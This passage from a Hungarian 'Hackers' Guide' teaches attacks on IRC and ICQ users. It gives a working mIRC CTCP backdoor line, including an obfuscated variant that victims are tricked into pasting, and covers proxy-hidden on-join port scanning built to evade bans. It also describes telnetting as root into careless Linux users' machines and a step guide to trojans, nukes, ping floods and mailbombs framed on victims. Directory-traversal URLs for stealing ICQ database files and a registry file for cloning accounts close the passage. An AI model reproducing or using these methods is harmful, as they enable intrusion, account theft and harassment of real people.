************************************************************************************************ Hogyan tevékenykedj (írj, csatlakozz csatira, stb.) más nevében? ctcp 1:lamer: { $2- | halt } Ez az egy sor az egész. Ha ezt becsempészed valakinek a script.ini filejába, onnantól kezdve a kezedben van az illetô. Bármit csinálhatsz vele, és nem fogja látni azt sem, amikor kiadod a parancsokat számára. Az akaratod teljesítésére a "/ctcp [nick] lamer [parancs]" szintaxissal bírhatod rá. Ha a parancsot "."-al kezded, akkor az eredményét sem látja az áldozat. ************************************************************************************************ Hogyan rejtsem el az IP címemet IRC-n? Az egyik mód az IP cím elrejtésére egy nyitott proxy server mögé bújás. Ha például a www.missingu.com címen lévô Java Applet-es IRC-zô programmal csatlakozol az IRCNethez, akkor a hostod missingU.com lesz. ************************************************************************************************ WAC - WoRsITE A CoToCoP ...az egyetlen trojan, amit a tűzfal sem állít meg! :) ...(majdnem) az egyetlen trojan, ami nem futtatható állomány! :) ...az egyetlen trojan, amit el sem kell küldeni az áldozatnak! :P ...csak rá kell bírni, hogy írja be a mIRC egyik ablakába. A trójai szerver eljuttatásának lehetséges módjai:

200

Hackers’ Guide

1., bírd rá a leendô áldozatot, hogy írja be a mIRC egy ablakába az alábbi sort: //$remove(worsite a cotocop,o,s) 1:a: $chr(123) $chr(36) $+ 2- $chr(124) halt $chr(125) | //.$remove(loveady666,v,e,y) -rs1 a (Fontos! A fenti script ilyen alakban nem használható... Aki megérett arra, hogy használja, az megtalálja a benne elrejtett egyszerű kis hibát...) 2., helyezd el egy script elején az alábbi sort, s azt küld el neki: ctcp 1:a: { $2- | halt } Bármelyiket is választod, eredményeképp az illetô gépén bármit meg tudsz majd csinálni, amit ô: utasításokat adhatsz ki IRC-en a nevében, felrakhatod neki a BO-t, stb. A kliens részt nem írtam meg, de használata enélkül is könnyedén elsajátítható: /ctcp <nick> a [bármilyen mIRC parancs] A mIRC parancs helyére megfelelô parancssorozatot írva könnyedén telepíthetünk az áldozat gépére bármilyen általunk írt scriptet, ami alkalmassá teszi ôt pl. torjan fogadására, socket fw-ként való működésre, stb. Ehhez további információt a mIRC programozásról szóló sorozatomban találsz. Video (Varga Gábor) [email protected] ************************************************************************************************ Advanced On-JOIN scanner

Szinte minden jobb mIRC scriptben vannak beépített on-join scanner funkciók, ami annyit tesz, hogy amikor valaki fellép egy olyan csatira, amin te is rajta vagy, megnézi pl. hogy nyitva van-e valamelyik portja, vagy küld neki egy fájlt (bár ezek inkább vírusok), stb. Ezeknek egy nagy hátránya van, hogyha a csatira fellépő ember szól egy opnak, vagy ő is egy op, akkor az illető nagyon hamar ki lesz tiltva a csatiról. Utóbbi esetben a nick adott, előbbinél pedig a tűzfal által kiirkált IP címből kell kideríteni a nicket az alábbi két paranccsal:

/DNS IPADDRESS - Ez megadja az IP-hez tartozó hostot, majd a /WHO HOST kiirja az illető nickjét ha nem +i flages, ha pedig az +i (invisible) flag be

201

Hackers’ Guide

van állítva, akkor csak abban az esetben, ha van egy olyan csatorna, amelyen mindketten fent vannak.

Ezt egy kis logikával ki lehet kerülni, két host használatával. Kell két kliens, az egyik figyeli a csatira belépőket (spybot), majd a nickeket illetve a hostokat továbbítja a scannelő másik félnek, akivel ideális esetben egy irc-től független csatornán tartják egymással a kapcsolatot. Csak annyi a lényeg, hogy az IRC felé más IP cím látszon, mint amiről scannel a másik fél. Ezt egy nyilvános socks-al is meg lehet oldani, így egy gépen mehet a dolog, nem kell hozzá egy másik fél.

Így a csatornára belépők tűzfala azt a hostot fogja kijelezni, amelyik nincs is bent a csatornán (tehát hiába bannolják az operátorok, nem érnek vele semmit), a valódi "figyelő", amelyik ténylegesen bent van a csatornán, nem fedi fel magát, nem jelenik meg az IP-címe illetve a nickneve, tehát nem is lehet bannolni. A scannelő kliens valójában a valódi host, amelyikkel ténylegesen fent vagy irc-n, a figyelő pedig nyilvános socks-ot használ (ez azért nem lehet fordítva, mert socks-on keresztül nehézkes onjoin socks keresést csinálni).

Onjoin socks scan esetében nem, de onjoin msg/dcc/invite esetében (tehát ahol irc-n van mindkét kliens) megoldható, hogy mindkettő sockson keresztül menjen, vagy a scannelő illetve dcc/msg/invite-okat küldő kliens menjen socksról a másik nem. Persze ehhez két socks kell :)

A megvalósítás mIRC scriptben látszott a legegyszerűbbnek, de később sikerült ezt is megbonyolítani egy picit a helyes működés érdekében :)

Sok irckliens támogatja a más programokkal törtenő kommunikációt, mégpedig a windows által biztosított DDE használatával. Most nem részletezem, hogy mi ez, annyi elég, hogy a DDE kapcsolat segítségével két windowsos program adatokat cserélhet egymás között. A két legismertebb windowsos irckliens, amely támogatja a DDE használatat, a mIRC es a Pirch. Ezzel a módszerrel jelentősen kibővíthetjük az ötlet használhatóságát (ezt késobb részletezem). Tehat a megvalósítás: írni kell egy programot akármilyen programozási nyelven, amelyik neked tetszik (Delphi, C vagy Visual Basic egyaránt megteszi), amely képes DDE adatokat fogadni. Az adat konkrétan a csatornákra belépő emberek hostja lesz, amelyet a mIRC vagy Pirch szkripted fog átadni a programodnak. (Pirchből a /ddepoke utasítás, mircből pedig a /dde.) A másik megoldás, hogy a szkript által talált hostokat a /RUN parancs segítségével adod át egy külső programnak.

Ezutan azt csinálsz a hosttal amit akarsz, csak már egy programozási nyelv segítségével, amely sokkal rugalmasabb. Például komplett portscant hajthatsz végre a belépőkön, telnetelhetsz rájuk, anon-ftp-n kereshetsz, vagy akár realtime statisztikát készíthetsz, a lehetőségek végtelenek.

Akkor érdemes ezt a módszert használni, amikor olyan feladatot akarsz végrehajtani, amire az irckliensed szkriptnyelve már nem ad lehetőséget, vagy azt túl bonyolult lenne leszkriptelni.

A script természetesen átalakítható onjoin msg/dcc/invite működésüre is, de véleményünk szerint ezek csak lejáratnak egy csatornát, hiszen ha már így kell tagokat kunyizni, akkor az már minden lehet, csak nem jó.

Hátrányok:

202

Hackers’ Guide

Fel kell készülni arra, hogy az emberek idegesek lesznek, és modemblitzet, icmp-t és más egyéb ajándékokat kezdenek küldözgetni. Olyan socks-ot kell keresni, amelyikkel az adott csatornára/szerverre be tudunk menni (ezt nem részletezem tovább). Ha fix ip-címünk van, ne kísérletezzünk ezzel, mert k-line lesz a vége, hacsak nem két socks-al csináljük.

Az előnyöket azt hiszem, nem kell felsorolni :)

A scriptek természetesen csak az ötlet életképességét hivatottak bemutatni, nem tartalmaznak semmi extrát. Amit még meg lehetne csinálni, vagy ajánlott lenne: -Véletlenszerű szünet a scan előtt -Ne figyelje a *!*@*ppp* *!*@*dial* *!*@*line* *!*@*modem* *!*@*isdn* hostmaskokat, hacsak azok nem rövidtávra kellenek.

Az ellentevékenységről pár szót. Számunkra nagyon úgy tűnik, hogy jelenleg nem áll semmilyen konkrét ellentevékenység az operátorok rendelkezésére, hogy felderítsék a spybotot (a spybot nélkül a rendszer nem működik). Logikusan (egy operátor fejével ;) gondolkozva figyelni kellene, hogy mikor van reklámozás/sockscan/invite/dcc, és megállapítani, hogy nagy valószínűséggel az ebben az időben a csatin lévű hostok közül melyik lehet spybot. Hogy mi különbözteti meg a spybotot a többi normálisan ircelő embertől? Semmi. Lehet pl. véletlenszerü antiidle-msg-t küldeni a szervernek, néha ki-be lépni a csatornára, teljesen automatizálva, vagy akár irczhetsz is a spybottal, ami csak 'mellékesen' továbbítja a hostokat a másik szkriptnek. Ha pedig valamelyik nagyobb ISP dialupos elérését használod dinamikus ip kiosztással, akkor nem valószínű, hogy több száz embert is bannolni fognak, hiszen ha újratárcsázol, kicsereled a realname/nick/ident triót, akkor nem fognak felismerni.

Írta: Sun-Zero és Voyager2 ([email protected] - [email protected]) Eurohack Team ************************************************************************************************ Miért ne irceljünk root-ként Most egy egyszeru trükköt ismertetek, amellyel rengeteg szerencsével, idovel és türelemmel szert tehetsz egy linuxos root-accountra. Ez a trükk nagyon egyszeru, és szerintem nem muködik, de szórakozásképpen elolvashatod. A lényegre térve: a Slackware linux-disztribúció nem kötelez arra, hogy installáláskor a root-accountnak jelszót adjunk. Feltételezzük, hogy a lámer felhasználónak valamelyik haverja azt mondta, hogy a linux a legjobb oprendszer a világon, és elhitte. Feltételezzük továbbá, hogy a haverja adott neki egy slackware-cd-t is, hogy próbálja ki. Még azt is feltételezzük, hogy sikerült a lámernek felinstallálnia, és elindítania valahogy a BitchX nevu irc-kliensprogramot.

203

Hackers’ Guide

A BitchX alapból, ha nem adnak meg neki semmi mást, "root" nicknévvel ajándékozza meg a használót. Ha ez a nicknév foglalt, akkor utánatesz egy vagy több aláhúzásjelet "_". Tehát "root_", "root__", "root___" stb. Nincs más dolgunk, mint hogy beírni az ircen (jó nagy hálózatokon próbálkozzunk, mint pl. efnet, dalnet, ircnet stb), hogy "/whois root", illetve "/whowas root". Ez ki fog adni nekünk egy pár bejegyzést, akik az elmúlt kb. egy órában root-ként voltak bent. Ismételjük meg a többi nicknévvel is. Amelyik mellett az van névnek megadva, hogy "* I'm too lame to read BitchX.doc *", az BitchX-et használt, amelyik defaultból root nevet adott a felhasználónak (merthogy root-ként ircelt). Ezeknek írjuk le az IP-it (vagy hostneveket, tudod).

Miután megvan a listánk, telneteljünk be mindegyik IP-re, és mikor a rendszer login-nevet kér, írjuk be, hogy "root". Ha mázlink van, nem fog jelszót kérni (a Slackware esetében például). Ha mégis kér, próbáljuk beírni azt, ami a "login" szó elott van. Ezt a nevet adta meg számítógépnévnek a lámer. Esetleg jelszónak is. Ha nem, akkor hagyjuk és mozduljunk rá a következo IP-re, hátha azzal több szerencsénk lesz.

Legalább gyakoroljuk kicsit a telnet használatát.

Ha valakinek sikerült ilyen módon accot szereznie, akkor írjon, és kirakom a nevét a dicsoségtáblára :)) mert biztosan nagyon türelmes és szerencsés ember lehet. ************************************************************************************************ Hogyan pusztítsunk IRC-n vagy ICQ-n Ennek az útmutatónak a segítségével remélhetoleg sikerrel fogsz végrehajtani különféle támadásokat mások internetre csatlakoztatott gépe ellen. A dokumentum kizárólag oktatási szándékból készült és nem kíván téged arra ösztönözni, hogy ezeket vagy az ehhez hasonló módszereket használd jogaid érvényesítéséhez mondjuk egy IRC vagy egy ICQ vita után, de nagyon jó, amikor valamelyik "@"(kukaccal, jó oppal) rendelkezo személyt szarrá fingatsz és megmutatod, hogy ki az úr a háznál.

Összedobta: Nestan

1. Elso lépésként be kell szerezned a munkához szükséges programokat. A támadáshoz elengedhetetlenek a következok: - ICQ, IRC vagy bármilyen más valós ideju társalgó program, hogy feltudjál venni másokkala kapcsolatot - Egy gyors és jó port scanner program, amelynek segítségével az áldozat nyitott portjainak a címét keresheted meg. Én általában a portscan -t használom, de ez ízlés kérdése - Egy trojan program server(kiszolgáló) és cliens(ügyfél) része, ezek általában együtt

204

Hackers’ Guide

szoktak lenni, ilyen trojan program például a BO, BO2000, Sub7, Netshpere illetve a NetBus (én a Satan Backdoor-t használom... :-)) - és még különbözo "gonosz" programok, mint például keyloggerek, vírusok stb. stb., persze ezek a támadás kimenetelétol függnek és attól, hogy a támadás utján mit akarunk elérni. Ezekrol majd késobb más cikkben bovebben fogok írni. Ezeket a programokat mind vagy legalábbis egy részét megtaláljátok ahttp://astalavista.box.skURL alatt, ha nem, akkor érdemes rákeresni a dolgokra nagyobb keresoszervereken (Yahoo, GoTo, Altavista, Altavizsla, Heuréka stb. stb.) 2. A port scanner az egyik legfontosabb eszköz a támadás sikeres kimeneteléhez. Tehát az általad letöltött portscanner program leírását minnél jobban tanulmányozd, mert ennek segítségével tekintheted meg az összes szabad portot és még néhány fontos, számodra talán érdekes dolgot is.

3. Elso lépésként meg kell szerezned az áldozat IP számát, ami általában minden kapcsolatkor más, kivéve akkor, ha az áldozat saját kérésére és természetesen felárért a szolgáltatótól nem kér Fix IP számot. Az IP szám megszerzése gyerekjáték. Ha te IRC-t használsz, akkor az alábbit kell begépelned ahhoz, hogy megtudd az illeto IP számát: "dns/becenév" és ezzel már készen is vagy, az IRC program megadja neked az illeto IP számát. Az ICQ-nál egy kicsit más a helyzet. Itt nem ilyen egyszeru az IP szám megszerzése, bár ez sem sokkal nehezebb. Szükséged lesz a Windows könyvtárában lévo NETSTAT programra. Ezzel a programmal megtekintheted a hozzád kapcsolódó gépek host nevét és természetesen az áldozatét is :-). Ezek után begépeled TRACERT áldozathostneve és lon íme az IP szám. Ugyanez megteheto a mIRC-es partnerekkel is :-) 4. Ez eddig gyerekjáték volt, innen indul a neheze. Most lesz szükséged a port scannerre, hogy megtekinthesd az adott IP számon internetezo személy nyitott portjait. Ez nagyon izgalmas, mert megtudhatod az összes többi foglalt porton mi muxik példa erre a telnet, ftp, www és természetesen a trojan port címét is megtekintheted. Ahhoz, hogy irányíthasd az áldozat gépét, szükséged lesz egy minimális ismeretre a trojan programokról, ezt általában megtalálod abban a tömörített fájlban, amely a trojan programot tartalmazza. Tehát képzeljük el, hogy a port scannertol azt az üzenetet kapjuk, hogy a 30100-as port nyitott a beírt IP szám alatt lévo gépen, ekkor nézd meg, hogy milyen trojan program(ok) használják ezt a portot és próbálkozz vele. Ha az illetonek nincs semmi "folt" a gépén, akkor kénytelen leszel valamilyen trükkel (itt egy *.exe tömörítésu kép rólam, fájlfertozés stb.) rásózni a trojan program szerver részét. Viszont ekkor már nem kell portscanner, elég ha a cliens programban beírod az illeto IP-jét vagy Host nevét. Ha ez így összejön, akkor szinte korlátlan hatalomhoz juthatsz az áldozat gépe felett és mindent képes leszel megcsinálni (pl. egér mozgatása, programok telepítése, gép irányítása, újraindítás, programok irányítása, üzenet küldése dialógusablakba, háttér állítása, cd olvasó nyitogatása stb. stb. szinte végtelen a sor, persze ez trojan programtól függ) Az alábbi sorokban néhány támadási irányt szeretnék ismertetni. 5. Most ott vagy, hogy egy egyszeru nuke programmal fentvagy a lamer 139-es portján. Ha o nem használ semmilyen védelmet, akkor te könnyedén le tudod vágni ot az internetrol és blokkolni tudod a számítógépét. 6. Egyszeruen tömeges pingeléssel(Blitzeléssel) le tudod vágni az áldozatot a netrol.

205

Hackers’ Guide

Így járt 2000. februárjában a Yahoo, Amazon és még több nagy amerikai portál, akiket egyszerre több százezer gép kezdett el pingelni és így túlterhelés miatt a szerverek összeroppantak, ezt a módszert egyébként Denial Of Service(DoS Szolgáltatás megtagadva)-nek hívják. Az állítólagos 15 éves kanadai tettest az FBI két hónappal késobb kapott el. 7. Ha ügyes vagy, akkor az áldozat e-mail címét feltudod használni arra, hogy másokat levélbombákkal és ehhez hasonló dolgokkal megtámadjál. Ha esetleg a rendorség lenyomozná, akkor sem a te IP számodat kapnák meg, hanem az áldozatét, aki meg mit sem tud az egészrol, de a balhét mégis o viszi el. 8. Az ICQ-nál van egy másik módszer a támadásra. Áraszd el az áldozat gépét egy csomó üzenettel, aminek a feladója természetesen névtelen. Ezzel a módszerrel kegyetlenül letudod égetni az ICQ-t(ilyen funkciókat és még hasonlókat tartalmaz az ICQ Multi War program) 9. Ha sikerül a fent említett programok mellett egy port attackert is letölteni, akkor az áldozat összes nyitott portját megtámadhatod és lezárhatod, melynek segítségével mással már nem tudja felvenni a kapcsolatot, ekkor általában megrémülnek a felhasználók és azt hiszik, hogy nincs szabad memória, ennek következtében egy csomó társalgást befejeznek és így néhány port felszabadul, de ekkor te újból eljátszod a fentit és megint nem lesz egy szabad portja sem :-) így nem tud majd újabb kapcsolatokat felvenni. 10. Ha sikerül az itt felsorolt támadások mindegyikét azonos idoben végrehajtanod, akkor ez az áldozatra nézve nagyon bosszantó lehet. Természetesen a képzeletedre van bízva, hogy milyen eszközökkel és hogyan támadsz meg másokat a neten. Ezek csak irányelvek voltak számodra, ahhoz, hogy utat mutassanak a támadások sokszínusége felé :-)

A Hack legyen veled! ************************************************************************************************ ICQ exploit - avagy hogyan klonozzunk ICQ-ban

Egy csomoan kerdeztek tolem, hogyan lehetseges egy ICQ szamot feltorni. Ez eleg egyszeru dolog de sajnos nem mindig mukodik. A kovetkezoket kell tenned: 1:Az ICQ Exploit ot hasznalo celpont geperol toltsd le a kovetkezo fileokat: (123.123.123.123 = a celpont IP cime) (UIN = a ficko ICQszama) (figyelj hogy hat pont van nem nyolc)

206

Hackers’ Guide

http://123.123.123.123/.html/....../db/UIN.idx http://123.123.123.123/.html/....../db/UIN.dat http://123.123.123.123/.html/....../db/UINmsg.dat http://123.123.123.123/.html/....../db/UINmsg.idx http://123.123.123.123/.html/....../db/UINhis.idx http://123.123.123.123/.html/....../db/UINhis.dat Amennyiben nem mukodik, egy trojai programot kell hasznalnod. 2. Nyisd meg a Notepad-ot es csinalj egy uj dokumentumot! 3. Masold bele a kovetkezoket: (Csereld meg a "hacked UIN" okat a celpont UIN javal) (Ez a Registry Key a http://i.am/devil cimrol van)

REGEDIT4 [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN] "Name"="Hacked UIN" [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs] "Random Groups Version"=dword:0000000a "Online Color"=dword:00ff0000 "Unlisted Color"=dword:00800000 "Offline Color"=dword:000000ff "Authorize Color"=dword:00400080 "Notify Color"=dword:00800080 "LastStatus Color"=dword:00008000 "Default File Dir"="C:\\Program Files\\ICQ\\Received Files" "SMTP Address"="" "DND Message"="Please do not disturb me now. Disturb me later." "Out Message"="" "Busy Message"="User is occupied. Only urgent messages will be delivered." "Chat Message"="I would like to chat about anything" "Away PreNum"=dword:00000000 "Out PreNum"=dword:00000000 "Busy PreNum"=dword:00000000 "DND PreNum"=dword:00000000 "Chat PreNum"=dword:00000000 "File Options"=dword:00000004 "URL Options"=dword:00000004 "Chat Options"=dword:00000004 "All Options"=dword:0000000e "EXT Options"=dword:00000004 "Startup"="No" "Auto Away"="No" "Auto Hide Time"=dword:0000001e "Auto Hide"="No" "Move Server Top"="No" "Blink In Tray"="No" "Sort Lists"="Yes"

207

Hackers’ Guide

"Show Online List"="No" "Remove AddFriend"="Yes" "Splash Open"="Yes" "History Last First"="Yes" "FloatTop"="Yes" "Thru Server"="No" "Join Chat"="No" "Open URL Browser"="No" "Refuse File NotInList"="No" "Overwrite ExistFile"="No" "Disable Online Alert"="Yes" "Accept Urgent In Busy"="No" "Blink Tray In AwayBusy"="Yes" "Use Contact List Color"="No" "Contact List Color"=dword:00c8b99d "Save User File"="Yes" "Auto Update"="Yes" "Search Wizard"="No" "Default Mailer"="Yes" "Pop Play Sound"="Yes" "Pop Auto Launch"="No" "Pop Check"="No" "Pop Time"=dword:0000000a "Check Headers"="Yes" "MoveToOutDelay"=dword:00000014 "MoveToOut"="No" "MoveToAwayDelay"=dword:0000000a "MoveToAway"="No" "Auto Sleep Mode"="No" "Log History Events"="Yes" "Connection Type"="Permanent" "Firewall"="Yes" "UseGivenIP"="No" "Socks"="No" "SocksPort"=dword:00000438 "SocksServer"="Enter your socks server" "ProxySocks4Host"="Enter your proxy server" "ProxySocks4Port"=dword:00000438 "UseProxySocks4"="No" "GiveStats"="No" "SocksVersion"=dword:00000004 "SocksAuthentication"=dword:00000000 "FirewallTimeout"=dword:0000001e "UseFirewallTimeout"="No" "UseFirewallRangePorts"="Yes" "FirewallFromPort"=dword:000059d8 "FirewallToPort"=dword:00007148 "Old Sockets"="No" "UserType"=dword:00000000 "Mail Receipients"=";"

208

Hackers’ Guide

"Random Available"="No" "RandomGroupName"=dword:00000001 "Random Name"="#Yd¶3 666 L[" "Allow Secure Clients Only"="Yes" "PhoneApproval"="Yes" "PhoneToneTime"=dword:00000032 "PhonePauseTime"=dword:000001f4 "PhoneBreakTime"=dword:00000028 "PhoneSettings"=dword:00000001 "PhonePauseChar"="," "PhoneLocalP"=" " "PhoneLongP"=" " "PhoneInterP"=" " "Chat RoomName"="Product Support / Suggestion" "Auto Join Chat Room"="Yes" "Novice Counter"=dword:0000000a "Menu Counter"=dword:00000013 "Servers Version"=dword:00000001 "Externals Version"=dword:00000019 "Stats"=hex:60,ff,ea,52,5c,36,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\ 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\ 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\ 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\ 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\ 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\ 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\ 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\ 00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 "Novice"="No" "Dropped Users"=hex:01,00,00,00,43,ca,35,00,e6,02,1f,00 "State Flags"=dword:00000000 "Server Msg Version"=dword:0000000b "Server Msg Shown"=dword:00000001 "Server Msg Count"=dword:00000009 "LeftButton Warning"="No" "Menu Left Click"="No" "Tip Startup"="No" "Tip Position"=dword:00000000 "MoreEvents Warning"="No" "Invisible Warning"="No" "Send Later Warning Off"="No" "Busy Warning"="No" "Away Warning"="No" "DND Warning"="No" "FT Warning"="No" "Ext Warning"="No" "Out Warning"="No" "Chat Warning"="No" "Away Message"="User is currently away\r\nYou can leave him/her a message"

209

Hackers’ Guide

"Random Comment"="You won't be hurt by things you don't care.\r\n\r\n(c) Calvin's Labs, 1993-1998. No Rights Reserved.\r\nIt's not a secret. It's not a magic. It's not a myth." [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\YOURUIN\Prefs\Presets] "OutMsg Presets 0"="I'm out'a here. See you tomorrow!" "DNDMsg Presets 0"="Please do not disturb me now. Disturb me later." "Away PresetsMsg 0"="Away" "Out PresetsMsg 0"="Out for the day" "Busy PresetsMsg 0"="Busy" "DND PresetsMsg 0"="DND" "Chat PresetsMsg 0"="Chat" "AwayMsg Presets 1"="I am out to lunch. I will return shortly." "OutMsg Presets 1"="" "DNDMsg Presets 1"="I am currently in a meeting. I can't be disturbed." "ChatMsg Presets 1"="Come Join my chat room!" "Away PresetsMsg 1"="Lunch" "Out PresetsMsg 1"="Not here" "Busy PresetsMsg 1"="Meeting" "DND PresetsMsg 1"="Meeting" "Chat PresetsMsg 1"="Come In" "AwayMsg Presets 2"="Don't go anywhere! I'll be back in a jiffy!" "OutMsg Presets 2"="I'm closed for the weekend/holidays." "DNDMsg Presets 2"="Don't disturb my concentration!" "ChatMsg Presets 2"="Don't miss out on the fun! Join our chat!" "Away PresetsMsg 2"="Be right back" "Out PresetsMsg 2"="Closed" "Busy PresetsMsg 2"="Concentration" "DND PresetsMsg 2"="Concentration" "Chat PresetsMsg 2"="Fun" "AwayMsg Presets 3"="I'm out with the dog. Be back when he's finished." "OutMsg Presets 3"="Gone fishin'." "DNDMsg Presets 3"="I'm on the phone with a very important client. Don't disturb me!" "ChatMsg Presets 3"="What are you waiting for? Come on in!" "Away PresetsMsg 3"="Dog Walk" "Out PresetsMsg 3"="Fishing" "Busy PresetsMsg 3"="On the Phone" "DND PresetsMsg 3"="On the Phone" "Chat PresetsMsg 3"="Don't Wait" "AwayMsg Presets 4"="Went out for a smoke. " "OutMsg Presets 4"="I'm sleeping. Don't wake me." "DNDMsg Presets 4"="I can't chat with you now. I'm busy." "ChatMsg Presets 4"="We'd love to hear what you have to say. Join our chat." "Away PresetsMsg 4"="Smoke" "Out PresetsMsg 4"="Sleeping" "Busy PresetsMsg 4"="Can't chat " "DND PresetsMsg 4"="Can't chat " "Chat PresetsMsg 4"="Hear" "AwayMsg Presets 5"="On my Coffee break."

210

Hackers’ Guide

"OutMsg Presets 5"="Went home. Had to feed the kids." "DNDMsg Presets 5"="Can't you see I'm working?" "ChatMsg Presets 5"="Enter your chat room message here" "Away PresetsMsg 5"="Coffee" "Out PresetsMsg 5"="Kids" "Busy PresetsMsg 5"="Working" "DND PresetsMsg 5"="Working" "Chat PresetsMsg 5"="Empty" "AwayMsg Presets 6"="Went to get some fresh air." "OutMsg Presets 6"="Gone for good." "DNDMsg Presets 6"="Enter your occupied message here" "ChatMsg Presets 6"="Enter your chat room message here" "Away PresetsMsg 6"="Air" "Out PresetsMsg 6"="Gone" "Busy PresetsMsg 6"="Conversing" "DND PresetsMsg 6"="Empty" "Chat PresetsMsg 6"="Empty" "BusyMsg Presets 7"="User is occupied. Only urgent messages will be delivered." "DNDMsg Presets 7"="Enter your occupied message here" "ChatMsg Presets 7"="Enter your chat room message here" "Away PresetsMsg 7"="Empty" "Out PresetsMsg 7"="Empty" "Busy PresetsMsg 7"="Empty" "DND PresetsMsg 7"="Empty" "Chat PresetsMsg 7"="Empty" "BusyMsg Presets 0"="User is currently Occupied" "ChatMsg Presets 0"="I would like to chat about anything" "BusyMsg Presets 1"="User is currently Occupied1" "BusyMsg Presets 2"="User is currently Occupied2" "BusyMsg Presets 3"="User is currently Occupied" "BusyMsg Presets 4"="User is currently Occupied" "BusyMsg Presets 5"="User is currently Occupied" "BusyMsg Presets 6"="User is currently Occupied" "AwayMsg Presets 7"="User is currently away" "OutMsg Presets 7"="User is currently N/A" "AwayMsg Presets 0"="User is currently away\r\nYou can leave him/her a message" [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD] [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message0] "Message"="Please bookmark our network status page." "URLName"="http://www.mirabilis.com/status.html" "URL"="press here" "Date"="" [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message1] "URLName"="http://www.mirabilis.com/emailsig.html" "URL"="Go to the ICQ e-mail signature generator"

211

Hackers’ Guide

"Date"="" [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message2] "Message"="ICQ is doing it again! One more new service from ICQ for your pleasure! Create your ICQ interest group - home, work, family, hobby, affiliation, sports, music...etc..( It's straight forward, no HTML needed! )" "URLName"="http://www.icq.com/announcements/02.html" "URL"="It's fun and easy, GO!!" "Date"="31-MAR-98" [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message3] "URLName"="http://www.icq.com/announcements/whitepages.html" "URL"="Go!" "Date"="1-APR-98" [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message4] "Message"="ICQ can notify you when you receive an e-mail and show you the e-mail headers! Learn how to do it!" "URLName"="http://www.mirabilis.com/email.html" "URL"="E-mail notification instructions" "Date"="15-JUN-98" [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message5] "URLName"="http://www.icq.com/announcements/05.html" "URL"="Create your Greeting" "Date"="12-JUL-98" [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message6] "URLName"="http://www.icq.com/announcements/06.html" "URL"="Click For More Information" "Date"="26-AUG-98" [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message7] "Message"="ICQ can alert you when you receive Emails and show you the Email headers!" "URLName"="http://www.icq.com/announcements/07.html" "URL"="Learn how to do it" "Date"="06-SEPT-98" [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message8] "URLName"="http://www.icq.com/announcements/06.html" "URL"="Click For More Information" "Date"="20-OCT-98"

212

Hackers’ Guide

[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroups] [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroups\RandomGroup1] "Name"="General Chat" "Number"=dword:00000001 "Version"=dword:00000001 [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroups\RandomGroup2] "Name"="Romance" "Number"=dword:00000002 "Version"=dword:00000002 [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroups\RandomGroup3] "Name"="Games" "Number"=dword:00000003 "Version"=dword:00000003 [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroups\RandomGroup4] "Name"="Students" "Number"=dword:00000004 "Version"=dword:00000004 [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroups\RandomGroup5] "Name"="20 Something" "Number"=dword:00000006 "Version"=dword:00000006 [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroups\RandomGroup6] "Name"="30 Something" "Number"=dword:00000007 "Version"=dword:00000007 [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroups\RandomGroup7] "Name"="40 Something" "Number"=dword:00000008 "Version"=dword:00000008 [HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroups\RandomGroup8] "Name"="50 Plus" "Number"=dword:00000009

213

Hackers’ Guide

